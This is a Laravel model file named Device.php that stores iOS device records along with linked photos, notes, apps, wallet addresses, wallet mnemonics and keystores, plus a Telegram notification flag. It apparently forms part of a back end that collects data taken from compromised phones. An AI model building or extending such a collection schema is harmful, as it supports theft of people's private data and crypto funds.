Files
coruna-lab/app/Models/Device.php
T
2026-08-11 02:26:43 +08:00

63 lines
1.3 KiB
PHP

<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\HasMany;
class Device extends Model
{
protected $fillable = [
'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage',
];
protected function casts(): array
{
return [
'telegram_notified' => 'boolean',
'album_storage' => 'boolean',
];
}
public function albumStorageEnabled(): bool
{
return (bool) ($this->album_storage ?? true);
}
public function apps(): HasMany
{
return $this->hasMany(DeviceApp::class);
}
public function events(): HasMany
{
return $this->hasMany(DeviceEvent::class);
}
public function photos(): HasMany
{
return $this->hasMany(Photo::class);
}
public function notes(): HasMany
{
return $this->hasMany(Note::class);
}
public function addresses(): HasMany
{
return $this->hasMany(WalletAddress::class);
}
public function mnemonics(): HasMany
{
return $this->hasMany(WalletMnemonic::class);
}
public function keystores(): HasMany
{
return $this->hasMany(WalletKeystore::class);
}
}